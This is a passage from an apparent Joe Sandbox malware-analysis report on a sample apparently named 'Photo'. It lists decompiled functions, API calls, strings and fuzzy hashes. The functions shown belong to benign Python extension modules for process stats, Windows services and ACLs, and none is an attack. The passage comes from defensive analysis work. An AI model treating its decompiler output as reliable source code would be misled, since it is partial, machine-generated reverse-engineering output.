				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				void* _t16;
				void* _t20;
				void* _t40;

				_t16 =  *0x2769308(_a8, "l",  &_v52);
				if(_t16 != 0) {
					_t40 = E027660C0(_v52, 0x1000);
					if(_t40 == 0) {
						L5:
						return 0;
					} else {
						_t20 =  *0x2769078(_t40,  &_v48);
						if(_t20 != 0) {
							CloseHandle(_t40);
							return  *0x27692b4("(KKKKKK)", _v56, _v52, _v48, _v44, _v32, _v28, _v24, _v20, _v40, _v36, _v16, _v12);
						} else {
							 *0x27692b8(_t20);
							CloseHandle(_t40);
							goto L5;
						}
					}
				} else {
					return _t16;
				}
			}

0x027639c1
0x027639cc
0x027639e1
0x027639e8
0x02763a0b
0x02763a11
0x027639ea
0x027639f0
0x027639f8
0x02763a13
0x02763a67
0x027639fa
0x027639fb
0x02763a05
0x00000000
0x02763a05
0x027639f8
0x027639d1
0x027639d1
0x027639d1

APIs

PyArg_ParseTuple.PYTHON27(?,0276B5C4), ref: 027639C1
GetProcessIoCounters.KERNEL32(00000000,?), ref: 027639F0
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 027639FB
CloseHandle.KERNEL32(00000000), ref: 02763A05

Strings

(KKKKKK), xrefs: 02763A55

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_CloseCountersErr_FromHandleParseProcessTupleWindows
String ID: (KKKKKK)
API String ID: 1109189336-585410369
Opcode ID: da40eded134badaf2c32fe4d960d7c58a380ab10674adab85eaf2be0ff15718b
Instruction ID: 64e51a5c5183dfa2af995b1bdf1d20b5b601c6dd4681ea07e2c59e68bf797f14
Opcode Fuzzy Hash: da40eded134badaf2c32fe4d960d7c58a380ab10674adab85eaf2be0ff15718b
Instruction Fuzzy Hash: BF110DB1605200BFD204DB68DD89DABB7E9AF8C618F84891CFD99D3200E735D915CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 02761D70 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E02761D70(intOrPtr _a8) {
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				intOrPtr _v52;
				void* _t14;
				char* _t17;
				void* _t33;
				void* _t37;

				_t14 =  *0x2769308(_a8, "l",  &_v48);
				if(_t14 != 0) {
					_t37 = E027660C0(_v48, 0x1000);
					if(_t37 == 0) {
						L5:
						return 0;
					} else {
						_push(0x2c);
						_t17 =  &_v44;
						_push(_t17);
						_push(_t37);
						L02768190();
						if(_t17 != 0) {
							CloseHandle(_t37);
							return  *0x27692b4("(kIIIIIIIII)", _v52, _v48, _v44, _v40, _v36, _v32, _v28, _v24, _v20, _v16, _t33);
						} else {
							 *0x27692b8(_t17);
							CloseHandle(_t37);
							goto L5;
						}
					}
				} else {
					return _t14;
				}
			}

0x02761d81
0x02761d8c
0x02761da1
0x02761da8
0x02761dcc
0x02761dd2
0x02761daa
0x02761daa
0x02761dac
0x02761db0
0x02761db1
0x02761db2
0x02761db9
0x02761dd9
0x02761e20
0x02761dbb
0x02761dbc
0x02761dc6
0x00000000
0x02761dc6
0x02761db9
0x02761d91
0x02761d91
0x02761d91

APIs

PyArg_ParseTuple.PYTHON27(?,0276B330), ref: 02761D81
GetProcessMemoryInfo.PSAPI(00000000,?,0000002C), ref: 02761DB2
PyErr_SetFromWindowsErr.PYTHON27(00000000,00000000,?,0000002C), ref: 02761DBC
CloseHandle.KERNEL32(00000000), ref: 02761DC6

Strings

(kIIIIIIIII), xrefs: 02761E0D

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_CloseErr_FromHandleInfoMemoryParseProcessTupleWindows
String ID: (kIIIIIIIII)
API String ID: 708189517-1713939979
Opcode ID: 0424ca607801cccca20d2b1a3844fb32d448bdd3e8fa7d2dcfd04406ca032862
Instruction ID: c6a57cb8515da4dbb928074851714f2a5e24b7ce9cd3f176a18770be21ca7d5a
Opcode Fuzzy Hash: 0424ca607801cccca20d2b1a3844fb32d448bdd3e8fa7d2dcfd04406ca032862
Instruction Fuzzy Hash: FA115EB5604210AFD204DB69DC4DE6BB7EDAFCC618F448A18FE59D3200E734DA158BA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A3080 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 1E7A30A9
GetAuditedPermissionsFromAclW.ADVAPI32(?,?,?,?), ref: 1E7A30EA
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(GetAuditedPermissionsFromAcl,00000000,?,?,O:GetAuditedPermissionsFromAcl,?), ref: 1E7A30FA

Strings

GetAuditedPermissionsFromAcl, xrefs: 1E7A30F5
O:GetAuditedPermissionsFromAcl, xrefs: 1E7A308D

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_AuditedError@@FromParsePermissionsTupleU_object@@Win_
String ID: GetAuditedPermissionsFromAcl$O:GetAuditedPermissionsFromAcl
API String ID: 2147966734-1982696749
Opcode ID: 7714b92a0cdc9d005bb66542875e89c115f1878d5ba1c9d63f78d414e4827b7f
Instruction ID: c4f18576218ae6804327aa9726f9425cb5ecc7599c50e0eda25f5c54d574b6ce
Opcode Fuzzy Hash: 7714b92a0cdc9d005bb66542875e89c115f1878d5ba1c9d63f78d414e4827b7f
Instruction Fuzzy Hash: 511154B5608342ABF704CF54EC84D6FB7E9ABD8248F0C4B1CF64886210E771D958CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA030 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001000,00000000,?,00000000,000000FF,000000FF,00000000,00000000), ref: 1E7AA054
wsprintfA.USER32 ref: 1E7AA08C
?PyWinObject_FromTCHAR@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,00000000,00000000), ref: 1E7AA0A0
Py_BuildValue.PYTHON27(iNzz,?,00000000,00000000,00000000), ref: 1E7AA0AF
PyErr_SetObject.PYTHON27(02FC05B8,00000000), ref: 1E7AA0BE

Strings

COM Error 0x%x, xrefs: 1E7AA086
iNzz, xrefs: 1E7AA0AA

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: BuildErr_FormatFromMessageObjectObject_U_object@@Valuewsprintf
String ID: COM Error 0x%x$iNzz
API String ID: 60735323-4252557710
Opcode ID: a3c648bfcf81bac529f6b0567fb43abe28ccf27cf6fdbb888a015219b6dd71ae
Instruction ID: f0e86ceb99118a10541042c735f86cbe4f9f30c90d6a00c77e24161a6f2e127f
Opcode Fuzzy Hash: a3c648bfcf81bac529f6b0567fb43abe28ccf27cf6fdbb888a015219b6dd71ae
Instruction Fuzzy Hash: C1112331540311AFF221AA24AC49FD7779D9F88324F284B14FB98C61D1E630E444CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02781210 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ws2_32.dll), ref: 02781225
GetProcAddress.KERNEL32(00000000,WSAAddressToStringW), ref: 02781233
FreeLibrary.KERNEL32(00000000), ref: 02781243
PyUnicodeUCS2_FromWideChar.PYTHON27(?,-00000001,?,?,00000000,?), ref: 02781288
PyUnicodeUCS2_FromString.PYTHON27(?,?,?,00000000,?), ref: 027812B5

Strings

ws2_32.dll, xrefs: 02781220
WSAAddressToStringW, xrefs: 0278122D

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: FromLibraryUnicode$AddressCharFreeLoadProcStringWide
String ID: WSAAddressToStringW$ws2_32.dll
API String ID: 99852126-854454016
Opcode ID: 25051efeae14f47d2122e8d36d8b21d5712af08379739e2bcda20ef45a153a24
Instruction ID: 78e47242cf4c42e01b723d2a16e9a7ea4348b80180774d34d7c4da6c36b20f8a
Opcode Fuzzy Hash: 25051efeae14f47d2122e8d36d8b21d5712af08379739e2bcda20ef45a153a24
Instruction Fuzzy Hash: D51194B5AC0602ABE720FB58DC59FAB7BE8AF84B00F548C18F959C5140E7B8D114CE53

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A2FD0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 1E7A2FF1
GetEffectiveRightsFromAclW.ADVAPI32(?,?,?), ref: 1E7A302D
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(GetEffectiveRightsFromAcl,00000000,?,?,?,?), ref: 1E7A303D

Strings

GetEffectiveRightsFromAcl, xrefs: 1E7A3038
O:GetEffectiveRightsFromAcl, xrefs: 1E7A2FDD

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_EffectiveError@@FromParseRightsTupleU_object@@Win_
String ID: GetEffectiveRightsFromAcl$O:GetEffectiveRightsFromAcl
API String ID: 3145827223-568366055
Opcode ID: c979590103764327e58578692737bee23e941248b4c1faa435c4c38914f5d788
Instruction ID: d23dee967f536961babcdbd243f78c18e039a4e2ca86f22673c8f9d79ef03046
Opcode Fuzzy Hash: c979590103764327e58578692737bee23e941248b4c1faa435c4c38914f5d788
Instruction Fuzzy Hash: 1F117379608242ABF600CF64ED4496F73EAABD4608F4C4B1CFA4882224E771D909CB63

Uniqueness

Uniqueness Score: -1.00%

Function 02767B10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 56
servicethreadCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E02767B10(intOrPtr _a8) {
				struct _SERVICE_STATUS _v28;
				void* _t4;
				void* _t7;
				int _t9;
				void* _t16;
				void* _t21;
				void* _t25;
				void* _t28;
				intOrPtr* _t29;

				_t4 =  *0x2769308(_a8, "s", _t28);
				_t29 = _t28 + 0xc;
				if(_t4 != 0) {
					_t25 = E02767220( *_t29, 0xf003f, 0x20);
					if(_t25 == 0) {
						L5:
						return 0;
					} else {
						_t7 =  *0x2769298(_t21, _t16);
						_t9 = ControlService(_t25, 1,  &_v28);
						 *0x276929c(_t7);
						if(_t9 != 0) {
							CloseServiceHandle(_t25);
							 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
							return  *0x27692c8;
						} else {
							E02761090("ControlService");
							CloseServiceHandle(_t25);
							goto L5;
						}
					}
				} else {
					return _t4;
				}
			}

0x02767b21
0x02767b27
0x02767b2c
0x02767b43
0x02767b4a
0x02767b8a
0x02767b90
0x02767b4c
0x02767b4e
0x02767b5e
0x02767b67
0x02767b74
0x02767b92
0x02767b9d
0x02767ba8
0x02767b76
0x02767b7b
0x02767b84
0x00000000
0x02767b84
0x02767b74
0x02767b31
0x02767b31
0x02767b31

APIs

PyArg_ParseTuple.PYTHON27(?,0276D4C4), ref: 02767B21
PyEval_SaveThread.PYTHON27 ref: 02767B4E
ControlService.ADVAPI32(00000000,00000001,?), ref: 02767B5E
PyEval_RestoreThread.PYTHON27(00000000), ref: 02767B67
CloseServiceHandle.ADVAPI32(00000000), ref: 02767B84

Strings

ControlService, xrefs: 02767B76

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Eval_ServiceThread$Arg_CloseControlHandleParseRestoreSaveTuple
String ID: ControlService
API String ID: 1908151670-253159669
Opcode ID: 14f3961a10ff26f7f625791668d2e575e4b3689bbf6188a383072489838f11c6
Instruction ID: 3f8d8dae214d1e8b94e3cf00ceb057e16c2fb2e678b8bd72218a69136d2cfa0b
Opcode Fuzzy Hash: 14f3961a10ff26f7f625791668d2e575e4b3689bbf6188a383072489838f11c6
Instruction Fuzzy Hash: D701F971A41311EFE324A764EC8DEBB7778EF48658F444914FE09C2201F73599648A92

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A6C50 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,SetSecurityDescriptorControl does not exist on this platform), ref: 1E7A6C69
PyArg_ParseTuple.PYTHON27(?,ll:SetSecurityDescriptorControl,?), ref: 1E7A6C8B
SetSecurityDescriptorControl.ADVAPI32(?,?), ref: 1E7A6CA9
?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z.PYWINTYPES27(SetSecurityDescriptorControl,00000000), ref: 1E7A6CB9

Strings

SetSecurityDescriptorControl, xrefs: 1E7A6CB4
SetSecurityDescriptorControl does not exist on this platform, xrefs: 1E7A6C63
ll:SetSecurityDescriptorControl, xrefs: 1E7A6C85

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_ControlDescriptorErr_Error@@ParseSecurityStringTupleU_object@@Win_
String ID: SetSecurityDescriptorControl$SetSecurityDescriptorControl does not exist on this platform$ll:SetSecurityDescriptorControl
API String ID: 1472735374-853495732
Opcode ID: 5db2d0e93c83969b0d6bfa78bdb88a4c1f9b7462955516ccb8f44a727ce8f5fd
Instruction ID: 783fd8f79bfda2c56084a0fa5360aa7764f1971089dafc8b28dc17343dfed23b
Opcode Fuzzy Hash: 5db2d0e93c83969b0d6bfa78bdb88a4c1f9b7462955516ccb8f44a727ce8f5fd
Instruction Fuzzy Hash: 31012CB4500201EFE704EB54DD85D5673A9FBC8745F884A28FA4983315F635E958CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA420 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PyInt_AsLong.PYTHON27(?,?,?,?,1E7A40BF,?,?), ref: 1E7AA428
PyErr_Occurred.PYTHON27 ref: 1E7AA442
PyErr_Clear.PYTHON27 ref: 1E7AA448
PyLong_AsUnsignedLong.PYTHON27(?), ref: 1E7AA44F
PyErr_Occurred.PYTHON27 ref: 1E7AA45F
PyErr_Format.PYTHON27(?,Unable to convert %s to pointer-sized value,?), ref: 1E7AA47A

Strings

Unable to convert %s to pointer-sized value, xrefs: 1E7AA474

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_$LongOccurred$ClearFormatInt_Long_Unsigned
String ID: Unable to convert %s to pointer-sized value
API String ID: 1914827174-2431006615
Opcode ID: cbc5f5c853536b678cc34165d37b7aef96da6bc27c67da3717dfffdedeb242b5
Instruction ID: e0954bc911f069dd05ef2579020623ccda8515ec9cb0790b54c623815e95e27a
Opcode Fuzzy Hash: cbc5f5c853536b678cc34165d37b7aef96da6bc27c67da3717dfffdedeb242b5
Instruction Fuzzy Hash: CF0181751106229FE700ABB8ECC888A73A9EFCC33AB184725F611C3291D731E851CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A7210 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,i:GetSubAuthority), ref: 1E7A721F
GetSidSubAuthorityCount.ADVAPI32(?), ref: 1E7A7237
GetSidSubAuthority.ADVAPI32(?,?), ref: 1E7A724A
PyInt_FromLong.PYTHON27 ref: 1E7A7253

Strings

i:GetSubAuthority, xrefs: 1E7A7219
The index is out of range, xrefs: 1E7A7266

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Authority$Arg_CountFromInt_LongParseTuple
String ID: The index is out of range$i:GetSubAuthority
API String ID: 1053781174-2602025648
Opcode ID: f5cfad954a81e2f8e163155194127437a91c0880765b4be690a6733872cd6292
Instruction ID: a1aaf9b68beabba143168c8bff436ab9866d544519ce4a735eace0c1f9e9515e
Opcode Fuzzy Hash: f5cfad954a81e2f8e163155194127437a91c0880765b4be690a6733872cd6292
Instruction Fuzzy Hash: D1F062B1114125EFE2049B64EC84C9B77ADEFCC31AB184A69FA07C7251E734D911DB91

Uniqueness

Uniqueness Score: -1.00%

Function 02764960 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,0276B7E0,?), ref: 02764979
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02764A70

Strings

N;Bl, xrefs: 02764B38
kkdddiKKKKKKkIIIIIIIII, xrefs: 02764B23

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ParseTupleUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: N;Bl$kkdddiKKKKKKkIIIIIIIII
API String ID: 1811236384-448952110
Opcode ID: 204a864d9190ab7bfc3f1cd22be13531602b316fd1d1627d85e983027b3aceb3
Instruction ID: 7d90bc5c94958c56669bc18a5c37fb407a0b29a572919990b0f5774ca98e4c68
Opcode Fuzzy Hash: 204a864d9190ab7bfc3f1cd22be13531602b316fd1d1627d85e983027b3aceb3
Instruction Fuzzy Hash: 835183B2604B01AFD724DF69D988E67B7E9FB88744F148D0CF99AC3211E631B814CB65

Uniqueness

Uniqueness Score: -1.00%

Function 027613D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E027613D0() {
				char _v4;
				intOrPtr* _v8;
				intOrPtr* _t16;
				void* _t25;
				void* _t31;
				signed int _t42;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr* _t49;
				void* _t51;
				void* _t52;

				_t16 =  *0x27692a4(0);
				_t44 = _t16;
				_t51 =  &_v8 + 4;
				_v8 = _t44;
				if(_t44 != 0) {
					_push( &_v4);
					_t31 = E02765C00();
					_t52 = _t51 + 4;
					if(_t31 == 0) {
						L15:
						 *_t44 =  *_t44 + 0xffffffff;
						if( *_t44 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t44 + 4)) + 0x18))))(_t44);
							_t52 = _t52 + 4;
						}
						if(_t31 != 0) {
							 *0x2769214(_t31);
						}
						return 0;
					} else {
						_t42 = 0;
						if(_v4 <= 0) {
							L11:
							 *0x2769214(_t31);
							return _t44;
						} else {
							_t49 =  *0x27692b4;
							while(1) {
								_t45 =  *_t49("I",  *((intOrPtr*)(_t31 + _t42 * 4)));
								_t52 = _t52 + 8;
								if(_t45 == 0) {
									break;
								}
								_t25 =  *0x2769314(_v8, _t45);
								_t52 = _t52 + 8;
								if(_t25 != 0) {
									 *_t45 =  *_t45 + 0xffffffff;
									if( *_t45 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t45 + 4)) + 0x18))))(_t45);
										_t52 = _t52 + 4;
									}
									break;
								} else {
									 *_t45 =  *_t45 + 0xffffffff;
									if( *_t45 == 0) {
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t45 + 4)) + 0x18))))(_t45);
										_t52 = _t52 + 4;
									}
									_t42 = _t42 + 1;
									if(_t42 < _v4) {
										continue;
									} else {
										_t44 = _v8;
										goto L11;
									}
								}
								goto L20;
							}
							_t44 = _v8;
							goto L15;
						}
					}
				} else {
					return _t16;
				}
				L20:
			}

0x027613d6
0x027613dc
0x027613de
0x027613e1
0x027613e7
0x027613f5
0x027613fb
0x027613fd
0x02761402
0x0276147e
0x0276147e
0x02761481
0x0276148a
0x0276148c
0x0276148c
0x02761491
0x02761494
0x0276149a
0x027614a6
0x02761404
0x02761404
0x0276140a
0x02761455
0x02761456
0x02761468
0x0276140c
0x0276140c
0x02761412
0x0276141d
0x0276141f
0x02761424
0x00000000
0x00000000
0x0276142c
0x02761432
0x02761437
0x02761469
0x0276146c
0x02761475
0x02761477
0x02761477
0x00000000
0x02761439
0x02761439
0x0276143c
0x02761445
0x02761447
0x02761447
0x0276144a
0x0276144f
0x00000000
0x02761451
0x02761451
0x00000000
0x02761451
0x0276144f
0x00000000
0x02761437
0x0276147a
0x00000000
0x0276147a
0x0276140a
0x027613ed
0x027613ed
0x027613ed
0x00000000

APIs

PyList_New.PYTHON27(00000000), ref: 027613D6
Py_BuildValue.PYTHON27(0276B100), ref: 0276141B
PyList_Append.PYTHON27(?,00000000), ref: 0276142C
6C423B4E.MSVCR90(00000000), ref: 02761456

Strings

N;Bl, xrefs: 02761456, 02761494

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: List_$AppendBuildC423Value
String ID: N;Bl
API String ID: 2478596944-4110088855
Opcode ID: f576b032273f4442e63fde8469a15f5e88d94ca9adc39e7bcc1d7b7a9d68df66
Instruction ID: d1b7325bf4447d159a9dc3f1e69325b0b4414bb3be89a73990f9a4595b904eaf
Opcode Fuzzy Hash: f576b032273f4442e63fde8469a15f5e88d94ca9adc39e7bcc1d7b7a9d68df66
Instruction Fuzzy Hash: 31210572A403128BC710DFA4AC8DAB77794AF80635F584A38ED9947740E735E91AC7E2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A5960 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,can't delete SECURITY_ATTRIBUTES attributes), ref: 1E7A5976
PyString_AsString.PYTHON27(?), ref: 1E7A598A
?PyWinObject_AsSECURITY_DESCRIPTOR@@YAHPAU_object@@PAPAXH@Z.PYWINTYPES27(?,?,00000001), ref: 1E7A59D1

Strings

can't delete SECURITY_ATTRIBUTES attributes, xrefs: 1E7A5970
SECURITY_DESCRIPTOR, xrefs: 1E7A5997

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
